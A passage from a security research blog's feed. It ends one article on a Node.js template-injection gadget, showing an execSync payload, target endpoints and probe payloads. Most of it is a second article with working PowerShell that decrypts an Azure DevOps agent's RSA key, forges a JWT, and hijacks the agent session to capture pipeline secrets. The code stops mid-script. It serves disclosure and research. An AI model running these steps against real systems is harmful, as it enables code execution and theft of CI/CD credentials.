│   └──────────┘                                  │                   │
│        │                                        ▼                   │
│        │ ['x']||Function`          ┌────────────────────────────┐   │
│        │   return\x20global        │  Controller extracts path  │   │
│        │   [\x27process\x27]...    │  from query parameter      │   │
│        │ ```                       └────────────────────────────┘   │
│                                                 │                   │
│                                                 ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  U.get(config, path)       │   │
│                                    │  [utils.js:7225]           │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Blacklist check:          │   │
│                                    │  /proto|constructor|...    │   │
│                                    │    |\(|\)|!/.test(path)    │   │
│                                    │                            │   │
│                                    │  × BYPASSED - hex escapes  │   │
│                                    │    \x28\x29 pass as literal│   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('w','a','b', │   │
│                                    │    code_with_hex_escapes)  │   │
│                                    │                            │   │
│                                    │  Hex \x28 → ( in Function! │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Function`...```           │   │
│                                    │  Tagged template executes  │   │
│                                    │                            │   │
│                                    │  global['process']         │   │
│                                    │  ['mainModule']['require'] │   │
│                                    │  ('child_process')         │   │
│                                    │  ['execSync']('id')        │   │
│                                    │                            │   │
│                                    │ =&gt; COMMAND EXECUTION       │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│   ┌──────────┐    HTTP Response                  ▼                  │
│   │ Command  │ &lt;------------------ {"value":"uid=0(root)..."}       │
│   │ Output   │                                                      │
│   └──────────┘                                                      │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre></div></div>

<h3 id="misc">Misc</h3>
<p>As mentioned earlier this gadget is one of my favorite ones thus here are a few more insides</p>

<p><strong>Common U.get/U.set Exposure Paths</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>### Configuration/Settings Endpoints
/api/config/
/api/settings/
/api/preferences/
/admin/config/
/system/settings/
Parameters: path, key, field, property, name

### User Preferences
/api/user/settings/
/api/profile/preferences/
/account/settings/
Parameters: setting, preference, option

### Form Builders / Dynamic Fields
/api/form/field/
/api/schema/get/
/api/model/
Parameters: field, path, attribute

### Dashboard Widgets / UI State
/api/dashboard/widget/
/api/ui/state/
/api/layout/
Parameters: widget, component, path

### CMS / Content Management
/api/cms/content/
/api/page/meta/
/admin/content/
Parameters: path, key, meta

### OpenPlatform / Flow Admin
/api/flow/config/
/admin/flow/settings/
/_flowstream/
</code></pre></div></div>

<p><strong>Detection Payloads</strong>
Example detection payloads: GET /api/config/?path=PAYLOAD</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[] =&gt; should result in error 500
['']
['x']|1
['x']&amp;1
['x']/1
['x']||1337
['x']||[]
['x']||{}
['x']||''
['x']||null
</code></pre></div></div>
]]></content:encoded>
    </item>
    
    <item>
      <title>Azure DevOps Agent Interception</title>
      <link>https://lab.ctbb.show/research/azure-devops-agent-interception</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/azure-devops-agent-interception</guid>
      <pubDate>Tue, 10 Feb 2026 00:00:00 +0000</pubDate>
      <author>Diyan Apostolov</author>
      <description>Pivoting from a compromised Windows VM to the cloud by intercepting Azure DevOps Agent traffic</description>
      <content:encoded><![CDATA[<p>Imagine the scenario: you just ended up on a Windows Azure VM with RCE in your hands and start wondering how to potentially bring more impact, and then you notice the Azure DevOps agent folder. As an ex-DevOps engineer, I couldn’t stop, so Critical Thinking mode was enabled. This article documents the technical flow for intercepting and decrypting Azure DevOps agent communications, ultimately extracting tokens, secrets, and more from pipeline job messages to escalate privileges</p>

<h2 id="agent-communication-architecture">Agent Communication Architecture</h2>
<p>Before we move on to some exploitation, we need to have at least some common understanding of how the whole flow works between Azure Pipelines and Azure Self-Hosted Agents.</p>

<h3 id="agent-registration">Agent Registration</h3>
<p>When an Azure DevOps agent is configured, it establishes trust with the Azure DevOps server through the following artifacts stored in the agent directory (by default on Windows: C:\azagent\A*, where * is the number of the agent installed locally — 1, 2, 3…):</p>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.agent</code></td>
      <td>Agent metadata (pool ID, agent ID, name, server URL)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.credentials</code></td>
      <td>OAuth client ID and authorization URL</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">.credentials_rsaparams</code></td>
      <td>RSA key pair used for JWT signing and session key exchange</td>
    </tr>
  </tbody>
</table>

<p>Usually, the agent’s folder is set with <strong>read</strong> permissions for all users by default, which makes the whole attack possible, as we can read the <code class="language-plaintext highlighter-rouge">.credentials_rsaparams</code> file.</p>
<h3 id="session-establishment--messaging">Session Establishment &amp; Messaging</h3>
<p>Once the registration is successful, the agent will create a session in order to start polling for new messages. The communication follows this sequence to establish a session with the Azure DevOps server:</p>

<ol>
  <li><strong>JWT Authentication</strong>: Agent signs a JWT using its RSA private key</li>
  <li><strong>Token Exchange</strong>: JWT is exchanged for a Bearer token via OAuth endpoint</li>
  <li><strong>Session Creation</strong>: Agent creates a session, sending its RSA public key</li>
  <li><strong>Key Exchange</strong>: Server returns a session-specific AES key, encrypted with the agent’s RSA public key</li>
  <li><strong>Message Polling</strong>: Agent polls for messages using the session ID</li>
  <li><strong>Message Encryption</strong>: All job messages are AES-encrypted using the session key (where a message is encrypted version of the pipeline including variables, secrets, tokens)</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────┐                             ┌──────────────────┐
│  Agent  │                             │  Azure DevOps    │
└────┬────┘                             └────────┬─────────┘
     │                                           │
     │──── JWT (signed with RSA private key) ───&gt;│
     │&lt;─────────── Bearer Token ─────────────────│
     │                                           │
     │──── Create Session (RSA public key) ─────&gt;│
     │&lt;─── Session ID + Encrypted AES Key ───────│
     │                                           │
     │──── Poll Messages (Session ID) ──────────&gt;│
     │&lt;─── AES-Encrypted Job Message ────────────│
</code></pre></div></div>

<h2 id="exploitation-flow">Exploitation Flow</h2>

<h3 id="prerequisites">Prerequisites</h3>

<p>Access to the agent directory with read permissions. By default, the agent installation directory may be readable by all local users.</p>

<h3 id="attack-chain-summary">Attack Chain Summary</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────────┐
│ 1. Read agent directory (default permissions allow this)        │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 2. Decrypt RSA key from .credentials_rsaparams                  │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 3. Sign JWT with RSA key → Exchange for Bearer token            │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 4. Hijack agent session (delete + recreate with our public key) │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 5. Receive encrypted job message when pipeline runs             │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 6. Decrypt message with session AES key                         │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 7. Extract OAuth token from decrypted job payload               │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 8. Access Azure DevOps APIs (repos, pipelines, secrets)         │
└─────────────────────────────────────────────────────────────────┘
</code></pre></div></div>

<p>The exploitation chain starts with collecting some agent config data, which will be required at a later stage to create our own session and send requests to APIs accordingly:</p>

<p>Read the <code class="language-plaintext highlighter-rouge">.agent</code> file to obtain agent metadata:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$agentPath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\azagent\A1\"</span><span class="w">
</span><span class="nv">$agentConfig</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="p">(</span><span class="n">Join-Path</span><span class="w"> </span><span class="nv">$agentPath</span><span class="w"> </span><span class="s2">".agent"</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertFrom-Json</span><span class="w">

</span><span class="nv">$poolId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentConfig</span><span class="o">.</span><span class="nf">poolId</span><span class="w">
</span><span class="nv">$agentId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentConfig</span><span class="o">.</span><span class="nf">agentId</span><span class="w">
</span><span class="nv">$agentName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentConfig</span><span class="o">.</span><span class="nf">agentName</span><span class="w">
</span><span class="nv">$serverUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentConfig</span><span class="o">.</span><span class="nf">serverUrl</span><span class="w">
</span></code></pre></div></div>

<p>Read the <code class="language-plaintext highlighter-rouge">.credentials</code> file for authentication parameters like the OAuth URL and <code class="language-plaintext highlighter-rouge">clientId</code> (GUID):</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$credentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="p">(</span><span class="n">Join-Path</span><span class="w"> </span><span class="nv">$agentPath</span><span class="w"> </span><span class="s2">".credentials"</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertFrom-Json</span><span class="w">
</span><span class="nv">$clientId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$credentials</span><span class="o">.</span><span class="nf">data</span><span class="o">.</span><span class="nf">clientId</span><span class="w">
</span><span class="nv">$authUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$credentials</span><span class="o">.</span><span class="nf">data</span><span class="o">.</span><span class="nf">authorizationUrl</span><span class="w">
</span><span class="nv">$tokenUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nv">$authUrl</span><span class="w"> </span><span class="o">-split</span><span class="w"> </span><span class="s2">"/_apis"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"/_apis/oauth2/token"</span><span class="w">
</span></code></pre></div></div>
<p>Gathering the locally installed agent version, Windows version, etc. — but I’ll skip those. The next major step is to reconstruct the RSA key so we can forge our own JWT. The <code class="language-plaintext highlighter-rouge">.credentials_rsaparams</code> file is encrypted with DPAPI (CurrentUser scope), thus decryption is possible:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Add-Type</span><span class="w"> </span><span class="nt">-AssemblyName</span><span class="w"> </span><span class="nx">System.Security</span><span class="w">
</span><span class="nv">$encryptedBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">ReadAllBytes</span><span class="p">((</span><span class="n">Join-Path</span><span class="w"> </span><span class="nv">$agentPath</span><span class="w"> </span><span class="s2">".credentials_rsaparams"</span><span class="p">))</span><span class="w">
</span><span class="nv">$decrypted</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.ProtectedData</span><span class="p">]::</span><span class="n">Unprotect</span><span class="p">(</span><span class="w">
    </span><span class="nv">$encryptedBytes</span><span class="p">,</span><span class="w">
    </span><span class="bp">$null</span><span class="p">,</span><span class="w">
    </span><span class="p">[</span><span class="n">System.Security.Cryptography.DataProtectionScope</span><span class="p">]::</span><span class="n">CurrentUser</span><span class="w">
</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">(</span><span class="nv">$decrypted</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertFrom-Json</span><span class="w">
</span></code></pre></div></div>

<p>The decrypted JSON contains RSA key components:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">modulus</code>, <code class="language-plaintext highlighter-rouge">exponent</code> (public key)</li>
  <li><code class="language-plaintext highlighter-rouge">d</code>, <code class="language-plaintext highlighter-rouge">p</code>, <code class="language-plaintext highlighter-rouge">q</code>, <code class="language-plaintext highlighter-rouge">dp</code>, <code class="language-plaintext highlighter-rouge">dq</code>, <code class="language-plaintext highlighter-rouge">inverseQ</code> (private key)</li>
</ul>

<p>Having the RSA components decrypted, we can use them to recreate the RSA key.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$rsaParams</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Security.Cryptography.RSAParameters</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">Modulus</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">modulus</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">Exponent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">exponent</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">D</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">d</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">P</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">p</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">Q</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">q</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">DP</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">dp</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">DQ</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">dq</span><span class="p">)</span><span class="w">
</span><span class="nv">$rsaParams</span><span class="o">.</span><span class="nf">InverseQ</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$rsaKey</span><span class="o">.</span><span class="nf">inverseQ</span><span class="p">)</span><span class="w">

</span><span class="nv">$rsa</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.RSA</span><span class="p">]::</span><span class="n">Create</span><span class="p">()</span><span class="w">
</span><span class="nv">$rsa</span><span class="o">.</span><span class="nf">ImportParameters</span><span class="p">(</span><span class="nv">$rsaParams</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>Now we have the key ready. The next step is to construct a JWT and sign it accordingly:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$header</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'{"alg":"RS256","typ":"JWT"}'</span><span class="w">
</span><span class="nv">$headerBase64</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">([</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$header</span><span class="p">))</span><span class="o">.</span><span class="nf">TrimEnd</span><span class="p">(</span><span class="s1">'='</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'+'</span><span class="p">,</span><span class="s1">'-'</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span><span class="s1">'_'</span><span class="p">)</span><span class="w">

</span><span class="nv">$now</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">int</span><span class="p">][</span><span class="n">double</span><span class="p">]::</span><span class="n">Parse</span><span class="p">((</span><span class="n">Get-Date</span><span class="w"> </span><span class="nt">-UFormat</span><span class="w"> </span><span class="o">%</span><span class="nx">s</span><span class="p">))</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">3600</span><span class="w">

</span><span class="nv">$payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="nx">sub</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$clientId</span><span class="w">
    </span><span class="nx">iss</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$clientId</span><span class="w">
    </span><span class="nx">aud</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$tokenUrl</span><span class="w">
    </span><span class="nx">nbf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$now</span><span class="w">
    </span><span class="nx">iat</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$now</span><span class="w">
    </span><span class="nx">exp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$now</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="mi">300</span><span class="w">
    </span><span class="nx">jti</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">guid</span><span class="p">]</span><span class="err">::</span><span class="nx">NewGuid</span><span class="err">().</span><span class="nx">ToString</span><span class="err">()</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertTo-Json</span><span class="w"> </span><span class="nt">-Compress</span><span class="w">

</span><span class="nv">$payloadBase64</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">([</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="nv">$payload</span><span class="p">))</span><span class="o">.</span><span class="nf">TrimEnd</span><span class="p">(</span><span class="s1">'='</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'+'</span><span class="p">,</span><span class="s1">'-'</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span><span class="s1">'_'</span><span class="p">)</span><span class="w">

</span><span class="nv">$dataToSign</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetBytes</span><span class="p">(</span><span class="s2">"</span><span class="nv">$headerBase64</span><span class="s2">.</span><span class="nv">$payloadBase64</span><span class="s2">"</span><span class="p">)</span><span class="w">
</span><span class="nv">$sig</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$rsa</span><span class="o">.</span><span class="nf">SignData</span><span class="p">(</span><span class="nv">$dataToSign</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">Security.Cryptography.HashAlgorithmName</span><span class="p">]::</span><span class="nx">SHA256</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">Security.Cryptography.RSASignaturePadding</span><span class="p">]::</span><span class="nx">Pkcs1</span><span class="p">)</span><span class="w">
</span><span class="nv">$sigBase64</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">(</span><span class="nv">$sig</span><span class="p">)</span><span class="o">.</span><span class="nf">TrimEnd</span><span class="p">(</span><span class="s1">'='</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'+'</span><span class="p">,</span><span class="s1">'-'</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span><span class="s1">'_'</span><span class="p">)</span><span class="w">

</span><span class="nv">$jwt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$headerBase64</span><span class="s2">.</span><span class="nv">$payloadBase64</span><span class="s2">.</span><span class="nv">$sigBase64</span><span class="s2">"</span><span class="w">
</span></code></pre></div></div>

<p>!!! Remark: You might need to adjust the <code class="language-plaintext highlighter-rouge">$now</code> variable if there is a huge difference between your local vs. server time. During our testing, -3600 was enough to fit in due to a 1-hour difference only. The good thing is that Azure will give you the server time in the exception, so you know how to adjust it.</p>

<p>Having our JWT ready we can now exchange it for a Bearer token</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$body</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="nx">client_assertion_type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"urn:ietf:params:oauth:client-assertion-type:jwt-bearer"</span><span class="w">
    </span><span class="nx">client_assertion</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$jwt</span><span class="w">
    </span><span class="nx">grant_type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"client_credentials"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="nv">$tokenResponse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$tokenUrl</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="nv">$body</span><span class="w"> </span><span class="nt">-ContentType</span><span class="w"> </span><span class="s2">"application/x-www-form-urlencoded"</span><span class="w">
</span><span class="nv">$token</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$tokenResponse</span><span class="o">.</span><span class="nf">access_token</span><span class="w">
</span></code></pre></div></div>

<p>As mentioned earlier, the pipeline data is an encrypted AES message and the key is exchanged during session creation, so we have some options like memory dumping, …etc — but we’ll keep it simple by searching the logs for the latest session ID (meanwhile, review the logs for secrets… as you can find a lot of juicy stuff there depending on the skills of the DevOps engineers :) ). Then, use the Bearer token to delete that existing session and create a new one before the agent does (pure race condition), so we can gain the AES key and start listening for pipelines.</p>

<p>Extract the current session ID from agent logs:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$logsPath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Join-Path</span><span class="w"> </span><span class="nv">$agentPath</span><span class="w"> </span><span class="s2">"_diag"</span><span class="w">
</span><span class="nv">$latestLog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nv">$logsPath</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="s2">"Agent_*.log"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Sort-Object</span><span class="w"> </span><span class="nx">LastWriteTime</span><span class="w"> </span><span class="nt">-Descending</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-Object</span><span class="w"> </span><span class="nt">-First</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="nv">$logContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="nv">$latestLog</span><span class="o">.</span><span class="nf">FullName</span><span class="w"> </span><span class="nt">-Raw</span><span class="w">

</span><span class="c"># Find the most recent session ID</span><span class="w">
</span><span class="nv">$allMatches</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">regex</span><span class="p">]::</span><span class="n">Matches</span><span class="p">(</span><span class="nv">$logContent</span><span class="p">,</span><span class="w"> </span><span class="s2">"session\s*'([a-f0-9-]{36})'"</span><span class="p">)</span><span class="w">
</span><span class="nv">$sessionId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$allMatches</span><span class="p">[</span><span class="nv">$allMatches</span><span class="o">.</span><span class="nf">Count</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">Groups</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="nf">Value</span><span class="w">
</span></code></pre></div></div>

<p>Delete existing session and create new one with attacker-controlled public key:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$headers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="nx">Authorization</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Bearer </span><span class="nv">$token</span><span class="s2">"</span><span class="w">
    </span><span class="s2">"Content-Type"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"application/json"</span><span class="w">
    </span><span class="s2">"User-Agent"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"VSServices/</span><span class="nv">$agentVersion</span><span class="s2">"</span><span class="w">
    </span><span class="s2">"X-TFS-FedAuthRedirect"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Suppress"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="c"># Delete existing session</span><span class="w">
</span><span class="nv">$deleteUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$serverUrl</span><span class="s2">/_apis/distributedtask/pools/</span><span class="nv">$poolId</span><span class="s2">/sessions/</span><span class="nv">$sessionId</span><span class="s2">?api-version=7.0"</span><span class="w">
</span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$deleteUrl</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$headers</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">DELETE</span><span class="w">

</span><span class="c"># Create new session with our RSA public key</span><span class="w">
</span><span class="nv">$sessionBody</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="nx">ownerName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentName</span><span class="w">
    </span><span class="nx">agent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentId</span><span class="w">
        </span><span class="nx">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentName</span><span class="w">
        </span><span class="nx">version</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$agentVersion</span><span class="w">
        </span><span class="nx">osDescription</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$osDescription</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="nx">useFipsEncryption</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$false</span><span class="w">
    </span><span class="nx">encryptionKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="nx">encrypted</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$false</span><span class="w">
        </span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="nx">exponent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$rsaKey</span><span class="err">.</span><span class="nx">exponent</span><span class="w">
            </span><span class="nx">modulus</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$rsaKey</span><span class="err">.</span><span class="nx">modulus</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertTo-Json</span><span class="w"> </span><span class="nt">-Depth</span><span class="w"> </span><span class="nx">5</span><span class="w">

